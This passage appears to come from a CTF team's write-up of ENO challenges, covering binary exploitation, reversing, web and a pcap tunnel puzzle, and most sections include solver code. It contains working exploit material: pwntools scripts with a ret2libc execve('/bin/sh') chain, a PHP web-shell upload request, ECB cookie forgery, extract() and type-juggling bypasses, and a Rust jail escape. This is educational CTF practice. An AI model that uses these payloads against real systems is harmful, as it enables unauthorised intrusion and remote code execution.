hash_pass__sub_123D(a2, s); v2 = strlen(s1); if ( !strncmp(s1, "gehaxelt", v2 - 1) ) { puts("Gehaxelt is not allowed to authenticate!"); } else if ( compare_hash__sub_128A("9784b18945d230d853e9a999921dcb2656a291ce", (int)s) ) { v5 = 0; } return v5 == 0; } int __cdecl main__sub_13D6(int a1) { char v2[128]; // [esp+0h] [ebp-18Ch] BYREF char buf[128]; // [esp+80h] [ebp-10Ch] BYREF char s[128]; // [esp+100h] [ebp-8Ch] BYREF FILE *stream; // [esp+180h] [ebp-Ch] int *v6; // [esp+184h] [ebp-8h] v6 = &a1; setbuf(stdout, 0); memset(s, 0, sizeof(s)); memset(buf, 0, sizeof(buf)); puts("Someone blocked @gehaxelt from logging in to this super secure system!"); puts("But somehow, he still manages to get in... how?!?!"); printf("Username: "); read(0, s, 128u); printf("Password: "); read(0, buf, 128u); if ( login__sub_1329(s, buf) ) { stream = fopen("flag.txt", "r"); fgets(v2, 128, stream); fclose(stream); puts("Access granted!"); printf("Flag: %s\n", v2); } else { puts("Access denied!"); } return 0; } ``` The program will ask the user to input a username and password. Then it will hash the password using the SHA1 Hash Algorithm. The `SHA1()` function requires three parameters: `arg1` is a pointer where the string to be hashed is stored, `arg2` is the size/length of the string in `arg1`, and `arg3` is a pointer where the hash result will be stored. The `SHA1()` function hashes the password entered by the user, producing a 20-byte hash, which is stored in the `hashed_password` variable within the `login__sub_1329` function. Notably, the `hashed_password` variable can only hold data up to 18 bytes, while the data stored is 20 bytes, creating a 2-byte buffer overflow vulnerability that can be exploited to overwrite the value of the `status` variable. What we need to do is find a string that, when it hashed with SHA1, results in two trailing null bytes. The purpose is to allow these two null bytes to overwrite the value of the status variable, which originally holds the value 0x1337, and change it to 0. <p>helper.py:</p> ```python= import hashlib import os while True: data = bytearray(os.urandom(32)) # Generate random data sha1_hash = hashlib.sha1(data).digest() if sha1_hash[-2:] == b'\x00\x00': print("Generated data:", data) print("SHA-1 hash:", sha1_hash) break ``` ![](https://hackmd.io/_uploads/S1US0_1p2.png) Solver: ```python= #!/usr/bin/env python3 # -*- coding: utf-8 -*- from pwn import * from os import path import sys # ==========================[ Information DIR = path.dirname(path.abspath(__file__)) EXECUTABLE = "/hackthehash" TARGET = DIR + EXECUTABLE HOST, PORT = "52.59.124.14", 10100 REMOTE, LOCAL = False, False # ==========================[ Tools elf = ELF(TARGET) elfROP = ROP(elf) # ==========================[ Configuration context.update( arch=["i386", "amd64", "aarch64"][1], endian="little", os="linux", log_level = ['debug', 'info', 'warn'][2], terminal = ['tmux', 'split-window', '-h'], ) # ==========================[ Exploit def exploit(io, libc=null): if LOCAL==True: #raw_input("Fire GDB!") if len(sys.argv) > 1 and sys.argv[1] == "d": choosen_gdb = [ "source /home/mydata/tools/gdb/gdb-pwndbg/gdbinit.py", # 0 - pwndbg "source /home/mydata/tools/gdb/gdb-peda/peda.py", # 1 - peda "source /home/mydata/tools/gdb/gdb-gef/.gdbinit-gef.py" # 2 - gef ][0] cmd = choosen_gdb + """ b *$rebase(0x127c) """ gdb.attach(io, gdbscript=cmd) # === Username p = b"" p += b"Vaints" p = p.ljust(128, b"\x00") io.sendafter(b": ", p) # === Password p = b"" # result of helper.py p += b'`\xbc\x0b\x99\x12h\xbd@Cg\xdc\xe1\xb5;\x94\x91\xce\xb1 @\xf1\t\x8b\x97@\xb5\x8c\xd8\x15\xe6\xa2-' # dummy, but necessary to increase the string length by one. # because the length of the string will be substracted by 1, # right before calling the SHA1() function. p += b"A" p = p.ljust(128, b"\x00") io.sendafter(b": ", p) io.interactive() if __name__ == "__main__": io, libc = null, null if args.REMOTE: REMOTE = True io = remote(HOST, PORT) # libc = ELF("___") else: LOCAL = True io = process( [TARGET, ], env={ # "LD_PRELOAD":DIR+"/___", # "LD_LIBRARY_PATH":DIR+"/___", }, ) # libc = ELF("___") exploit(io, libc) ``` ![](https://hackmd.io/_uploads/ByV2Cu1T3.png) > flag: ENO{C_H4SHing_1s_H4rd:D} ## Juniorpwn [pwn] ELF file 64bit, there's a Bufferoverflow bug on main() function ```c int __fastcall main(int argc, const char **argv, const char **envp) { char buf[512]; // [rsp+0h] [rbp-200h] BYREF setbuf(_bss_start, 0LL); puts("You shell play a game against @gehaxelt (again)! Win it to get ./flag.txt!"); puts("What's your name?"); read(1, buf, 0x400uLL); printf("Ok, it's your turn, %s!\n", buf); puts("You lost! Sorry :-("); return 0; } ``` NO PIE & No Canary, but there's no gadget that we can use to leak libc, like pop_rdi or csu_gadget, to solve this, I overwrite LSB of libc_start_main_ret to libc_start_main_ret-7, with this we back to main and got the libc leak. Solver: ```py from pwn import * from sys import * elf = context.binary = ELF("./juniorpwn.bak_patched") p = process("./juniorpwn.bak_patched") libc = ELF("./libc.so.6") HOST = '52.59.124.14' PORT = 10034 cmd = """ b*0x00000000004011CA """ if(argv[1] == 'gdb'): gdb.attach(p,cmd) elif(argv[1] == 'rm'): p = remote(HOST,PORT) payload = b'A'*0x208 payload += b'\xc3' p.sendafter(b'name?\n', payload) p.recvuntil(b'A'*0x208) leak = u64(p.recvn(6)+b'\x00'*2) + 7 libc.address = leak - 0x271ca print(hex(leak), hex(libc.address)) rop = ROP(libc) rop.execve(next(libc.search(b'/bin/sh\x00')), 0, 0) payload = b'A'*0x208 payload += rop.chain() p.sendafter(b'name?\n', payload) p.interactive() ``` > flag: ENO{You're_g00d_and_gett1ng_b3ttr!} ## I can read [sanity check] Flag in rules ![](https://hackmd.io/_uploads/r1UqYKypn.png) > flag: ENO{th1s_is_4n_eXample} ## Bicycle [rev] An ELF binary compiled using nim language ![](https://hackmd.io/_uploads/SJUffDk62.png) We can see the main code at `NimMainModule()` Important code: ![](https://hackmd.io/_uploads/r1Fpfwyp2.png) ![](https://hackmd.io/_uploads/rJ4MNPka2.png) - Printing some data and then waiting for user input - The ID will be checked and encoded using `wheel__bicycle_2()` function - The encoded data will be compared to a hardcoded string `07740277000105007572727106040400` **wheel__bicycle_2()** - Check if the ID starts with `ENO{` and ends with `}` ![](https://hackmd.io/_uploads/SymWBwk6n.png) ![](https://hackmd.io/_uploads/HyRMSwkT2.png) - Get all characters inside `ENO{` and `}`, convert to lowercase, then check if all characters are only in hex characters (0123456789abcdef) ![](https://hackmd.io/_uploads/H1qPHDyah.png) ![](https://hackmd.io/_uploads/rksLUvJa2.png) - Convert to uppercase, then split the string inside `ENO{` and `}` into two parts. Encode each parts using a specific algorithm ![](https://hackmd.io/_uploads/HkEMPv163.png) ![](https://hackmd.io/_uploads/Hyq7DD1an.png) The following is the python implementation of the encoding process ```python= def encode(inp): for i in range(8): xorer=inp[i] for j in range(8): inp[j]^=xorer return inp.hex() ``` To solve this, we are using z3. After we found the flag that passed the checker, submit it to the remote server to get the correct flag. ![](https://hackmd.io/_uploads/S14R7vkan.png) ```python= from z3 import * import string flag=bytes.fromhex("07740277000105007572727106040400") first=flag[:8] second=flag[8:] def test(inp,target): for i in range(8): xorer=inp[i] for j in range(8): inp[j]^=xorer assert inp==target def find(target): flag=[BitVec(f"x{i}",8) for i in range(8)] k=flag[:] for i in range(8): xorer=k[i] for j in range(8): k[j]^=xorer s=Solver() ### only uppercase hex character for i in range(len(flag)): s.add(flag[i]<0x7f) s.add(0x20<=flag[i]) for j in string.printable[:-6]: if(j not in "0123456789ABCDEF"): s.add(flag[i]!=ord(j)) for i in range(len(target)): s.add(k[i]==target[i]) print(s.check()) m=s.model() l=[] for i in flag: l.append(m[i].as_long()) return bytearray(l).decode() flag_first=find(first) flag_second=find(second) test(bytearray(flag_first.encode()),first) test(bytearray(flag_second.encode()),second) print("ENO{"+flag_first+flag_second+"}") ``` > flag: ENO{C0F3DEADBEEF1337} ## Movie [rev] ELF crackme with 5 checks, it will immediately segfault if any check fails. #### check - check flag format, first 4 characters should be `ENO{`. #### cccheck - check 8 characters after flag format. - the character range should be in one of this ranges A-Z 0-9 and \\-`. - `flag[i]` xored with `flag[i+14]` and the sum of all 8 characters after xor should be `0x1F4`. - `flag[i]` xored with `flag[i+14]` and the multiplication of all characters after xor should be `0x3A49D503C4C0`. #### ccheck - each flag characters from index-12 to index-23 xored with `0x13` and the result should be `R]WL^aA|q#g` #### ccccheck - check the last character of flag, should be `}`. #### cccccheck - crc32b(flag) should be `0x67123A46`. ```py from z3 import * LEN = 8 s = Solver() v1 = [BitVec(i, 32) for i in range(LEN)] MUL = 64088780817600 ADD = 500 CUR = 'ENO{!!!!!!!!AND_MrRob0t}' add = 0 mul = 1 for i in range(LEN): x = CUR[i + 15] add += v1[i] ^ ord(x) mul *= v1[i] ^ ord(x) s.add(v1[0] >= ord('A')) s.add(v1[0] <= ord('Z')) s.add(v1[1] >= ord('0')) s.add(v1[1] <= ord('9')) s.add(v1[2] >= ord('A')) s.add(v1[2] <= ord('Z')) s.add(v1[3] >= ord('A')) s.add(v1[3] <= ord('Z')) s.add(v1[4] >= ord('0')) s.add(v1[4] <= ord('9')) s.add(v1[5] >= ord('A')) s.add(v1[5] <= ord('Z')) s.add(v1[6] >= ord('A')) s.add(v1[6] <= ord('Z')) s.add(v1[LEN -1] == 95) s.add(add == ADD) s.add(mul == MUL) if s.check() == sat: model = s.model() flag = '' for i in range(LEN): flag += chr(model[v1[i]].as_long()) print(flag) # found H4XL3NY_, with a little bit help from chat gpt by searching "hacker movie like mr robot" which pop hackers as one of the movie, after correction it become H4CK3RS_ ``` > flag: ENO{H4CK3RS_AND_MrRob0t} ## IPfilter [web] All these checks: ```php if(inet_pton($ip) < (int) inet_pton($subnet)) { // ... } if(! (inet_pton($ip) < inet_pton($bcast))) { // ... } if($ip == $backend) { // ... } ``` can be bypassed by using IP address with the last part starts with 0: `192.168.112.02`. The `file_get_contents` function will normalize the IP into `192.168.112.2` and fetch the content. > flag: ENO{Another_Fl4G_something_IP_STuff!} ## Loginbytepass [web] Given this code: ```php $username = mysqli_real_escape_string($db, $username); // prevent SQL injection $password = md5(md5($password, true), true); $res = mysqli_query($db, "SELECT * FROM users WHERE username = '$username' AND password = '$password'"); ``` Variable `$password` is hashed into raw output. We just need to find the input that gives SQL injection. We modified hasherbasher from here https://github.com/gen0cide/hasherbasher to accept md5(md5(input)) instead. We found `6pNKKedhmuEETxbpHVK` as the input, containing SQL injection payload `xgCߩ#i��b_'oR'6` as the output. > flag: ENO{It's_always_MD5-N3ever_Trust_1t!} ## Magic Cars [web] Given this code: ```php $extension = strtolower(pathinfo($target_dir,PATHINFO_EXTENSION)); $finfo = finfo_open(FILEINFO_MIME_TYPE); $type = finfo_file($finfo,$files["tmp_name"]); finfo_close($finfo); if($extension != "gif" || strpos($type,"image/gif") === false){ echo " Sorry, only gif files are accepted"; $uploadOk = false; } $target_dir = strtok($target_dir,chr(0)); if($uploadOk && move_uploaded_file($files["tmp_name"],$target_dir)){ echo "<a href='$target_dir'>uploaded gif here go see it!</a>"; } ``` We can upload `.php` file using: - `.gif` as the extension of file - Contains magic bytes of GIF file (GIF87a/GIF89a) at beginning - Contains null byte between `.php` and `.gif` ```http POST / HTTP/1.1 Host: 52.59.124.14:10021 Content-Type: multipart/form-data; boundary=---------------------------1013956662279462726520057537 Content-Length: 398 -----------------------------1013956662279462726520057537 Content-Disposition: form-data; name="fileToUpload"; filename="weweweww.php%00.gif" Content-Type: application/octet-stream GIF87a<?php system($_GET['c']);?> -----------------------------1013956662279462726520057537 Content-Disposition: form-data; name="submit" Upload -----------------------------1013956662279462726520057537-- ``` Then open `http://52.59.124.14:10021/images/weweweww.php?c=cat%20../flag*` to get the flag. > flag: ENO{4n_uplo4ded_f1l3_c4n_m4k3_wond3r5} ## Colorful [web] As the encryption mode is ECB, every plaintext block will be encrypted into a same block. We can forge our input so it contains `admin=1`. 1. Pad the block until it's divisible by 16. Input: `ffff&`. 2. Append a block with our plaintext that we want to be encrypted: `ffff&_id=00000000&admin=1&color=ffff&` 3. Open http://52.59.124.14:10017/color/ffff%26_id%3D00000000%26admin%3D1%26color%3Dffff%2600, it will give this session cookie: `da5ef5449dcf37a33cecc578f8c7a6c68ec11e84f19bd24ddaac2f43b5efd47edb8af08fe75975e04aebefc123bf920e71090921e9d924daf0edf294e24da982e33815146a57b246e08907f12b6b97e4` 4. Slice the session from offset byte 64, up to 64 bytes in length. 5. Create HTTP request with the sliced session cookie: `session=db8af08fe75975e04aebefc123bf920e71090921e9d924daf0edf294e24da982;` > flag: ENO{W3B_H4S_Crypt0!} ## Debugger [web] As the code is using `extract` function, it can overwrite any variable. Create this HTTP request to get the flag. ```http POST /?action=debug&filters[is_admin]=1 HTTP/1.1 Host: 52.59.124.14:10018 Connection: close ``` > flag: ENO{N3ver_3xtract_ok?} ## TYPicalBoss [web] We have database.db, containing hashed SHA-1 password of admin: `0e[numbers]`. With type juggling in PHP, we just need to find input that has SHA-1 of `0e[any_numbers]`, e.g. `aaroZmOk`. Login with `admin:aaroZmOk` and get the flag. > flag: ENO{m4ny_th1ng5_c4n_g0_wr0ng_1f_y0u_d0nt_ch3ck_typ35} ## U Do Pee? [misc] **Description** >There was weird traffic on port 10000. Apparently employee 'astroza' tried to bypass our firewall restrictions using a udptunnel tool obtained from GitHub. They said we won't be able to see the traffic, since the tool configures a 'password' to run. Given a network capture packet named `udopee.pcap`, we can use `tshark` to observe the packet's hierarchy. ```bash » tshark -r udopee.pcap -qz io,phs =================================================================== Protocol Hierarchy Statistics Filter: frame frames:16 bytes:1691 eth frames:16 bytes:1691 ip frames:16 bytes:1691 udp frames:16 bytes:1691 data frames:16 bytes:1691 =================================================================== » tshark -r udopee.pcap 1 0.000000 37.47.130.101 → 192.168.2.211 UDP 60 28849 → 10000 Len=10 2 0.000267 192.168.2.211 → 37.47.130.101 UDP 44 10000 → 28849 Len=2 3 0.076809 37.47.130.101 → 192.168.2.211 UDP 92 28849 → 10000 Len=50 4 3.556865 37.47.130.101 → 192.168.2.211 UDP 104 28849 → 10000 Len=62 5 3.557187 192.168.2.211 → 37.47.130.101 UDP 104 10000 → 28849 Len=62 6 3.620418 37.47.130.101 → 192.168.2.211 UDP 96 28849 → 10000 Len=54 7 3.620422 37.47.130.101 → 192.168.2.211 UDP 181 28849 → 10000 Len=139 8 3.620672 192.168.2.211 → 37.47.130.101 UDP 96 10000 → 28849 Len=54 9 3.622263 37.47.130.101 → 192.168.2.211 UDP 181 28849 → 10000 Len=139 10 3.622450 192.168.2.211 → 37.47.130.101 UDP 96 10000 → 28849 Len=54 11 3.632204 37.47.130.101 → 192.168.2.211 UDP 169 28849 → 10000 Len=127 12 3.632420 192.168.2.211 → 37.47.130.101 UDP 96 10000 → 28849 Len=54 13 15.957341 37.47.130.101 → 192.168.2.211 UDP 96 28849 → 10000 Len=54 14 15.957695 192.168.2.211 → 37.47.130.101 UDP 96 10000 → 28849 Len=54 15 15.970786 37.47.130.101 → 192.168.2.211 UDP 96 28849 → 10000 Len=54 16 16.012801 37.47.130.101 → 192.168.2.211 UDP 84 28849 → 10000 Len=42 » tshark -r udopee.pcap -x | tail -8 0000 52 54 00 78 6c 48 00 13 3b 5a 02 a5 08 00 45 00 RT.xlH..;Z....E. 0010 00 46 73 c3 40 00 32 11 69 d4 25 2f 82 65 c0 a8 .Fs.@.2.i.%/.e.. 0020 02 d3 70 b1 27 10 00 32 0f d6 01 00 45 00 00 28 ..p.'..2....E..( 0030 00 00 40 00 40 06 26 ce 0a 00 00 02 0a 00 00 01 ..@.@.&......... 0040 e3 0e 05 39 12 53 52 f9 00 00 00 00 50 04 00 00 ...9.SR.....P... 0050 4e 4a 00 00 NJ.. ``` Here, we have found that the majority of packets are UDP, and all of them have a data field. Furthermore, the data itself contains a byte-pattern similar to the IPv4 packet header (`\x45\x00`), which led us to believe that it is indeed tunneled traffic. Returning to the description, it was stated that the traffic is tunneled using the `udptunnel` tool. Normally, the original IPv4 bytes would be inserted inside udp.data. However, in this case, there are 2 reserved bytes preceding the actual IPv4 bytes There are several ways to exfiltrate the original traffic, including using tools like `editcap` or `scapy`. The editcap approach can be accomplished by removing unnecessary bytes, starting from the IPv4 + UDP header up to the 2 reserved data bytes. ```bash » editcap -C 14:30 udopee.pcap orig.pcap » tshark -r orig.pcap | head -5 1 0.000000 SpeedDra_5a:02:a5 → RealtekU_78:6c:48 IPv4 60 Bogus IPv4 version (7, must be 4) 2 0.000267 RealtekU_78:6c:48 → SpeedDra_5a:02:a5 IPv4 44 [Packet size limited during capture] 3 0.076809 fe80::57a1:a0e:ae18:7b31 → ff02::2 ICMPv6 92 Router Solicitation 4 3.556865 10.0.0.2 → 10.0.0.1 TCP 104 58126 → 1337 [SYN] Seq=0 Win=65535 Len=0 MSS=256 SACK_PERM TSval=1038421218 TSecr=0 WS=128 5 3.557187 10.0.0.1 → 10.0.0.2 TCP 104 1337 → 58126 [SYN, ACK] Seq=0 Ack=1 Win=65392 Len=0 MSS=256 SACK_PERM TSval=4207905439 TSecr=1038421218 WS=128 » tshark -r orig.pcap -qz io,phs =================================================================== Protocol Hierarchy Statistics Filter: frame frames:16 bytes:1691 eth frames:16 bytes:1691 ip frames:15 bytes:1647 ipv6 frames:1 bytes:92 icmpv6 frames:1 bytes:92 tcp frames:13 bytes:1495 data frames:3 bytes:531 _ws.short frames:1 bytes:44 =================================================================== ``` Here, we can observe that the original traffic, sourced from 10.0.0.2 to 10.0.0.1, most likely carried a certain TCP data. By employing `tshark` once again, we can extract the data field and further process it. ```bash » tshark -r orig.pcap -Tfields -e data | xxd -r -p > flag.zip » 7z x -so -ppassword flag.zip | base64 -d ENO{AN0TH3R_TUNN3L_AN0THER_CHALL} ``` > flag: ENO{AN0TH3R_TUNN3L_AN0THER_CHALL} ## funsafe [misc] The challenge is a Rust jail written in a simple bash script. ```bash= #!/bin/bash echo "Your code please." FOLDER=$(mktemp -d) cp flag.txt "$FOLDER" cd "$FOLDER" mkdir src cat <<EOF > Cargo.toml [package] name = "funsafe" version = "0.1.0" edition = "2021" [lib] name = "funsafe" path = "src/lib.rs" [[bin]] name = "funsafe-bin" path = "src/main.rs" [dependencies] ctor = "0.2" [profile.release] panic = "abort" EOF read program echo "#![no_std] ${program//!/}" > src/lib.rs echo "use funsafe::fun; pub fn main() {fun()}" > src/main.rs RUSTFLAGS="$RUSTFLAGS -Funsafe-code -Zsanitizer=address" timeout 20 cargo +nightly run --target x86_64-unknown-linux-gnu --release rm -rf "$FOLDER" ``` We can communicate with the bash script remotely via `nc 52.59.124.14 10075`. From the bash script, we know that: - User input will be used for the content of `src/lib.rs`. - All occurences of `!` are stripped, presumably to avoid any call to macro. - The code is prepended with `#![no_std]`, [which is a crate-level attribute that indicates that the crate will link to the core-crate instead of the std-crate](https://docs.rust-embedded.org/book/intro/no-std.html#:~:text=no_std%5D%20is%20a%20crate%2Dlevel,the%20program%20will%20run%20on.). - Because of `#![no_std]`, the code can't use `std` directly such as `println`, `process`, or `fs`. - The main function in `src/main.rs` will call the `fun()` function in `src/lib.rs`. - The program is compiled with `-Funsafe-code -Zsanitizer=address` flags to forbid unsafe code and enable AddressSanitizer, presumably to avoid unsafe code such as direct call to Assembly from Rust and to harden the binary from memory corruption. We discovered that we actually can still load `std` even if `#![no_std]` presents simply by using [extern crate std](https://doc.rust-lang.org/reference/items/extern-crates.html). We can execute shell using `std::process` or read the `flag.txt` file using `std::fs`. Example: ```shell= nc 52.59.124.14 10075 ─╯ Your code please. extern crate std; use crate::std::io::BufRead; use crate::std::io::Write; pub fn fun() { if let Ok(file) = crate::std::fs::File::open("flag.txt") { if let Some(first_line) = crate::std::io::BufReader::new(file).lines().next() { if let Ok(line) = first_line { crate::std::io::stdout().write_all(line.as_bytes()).unwrap(); } } } } ENO{ru57_15_54f3_by_d3f4ul7} ``` > flag: ENO{ru57_15_54f3_by_d3f4ul7}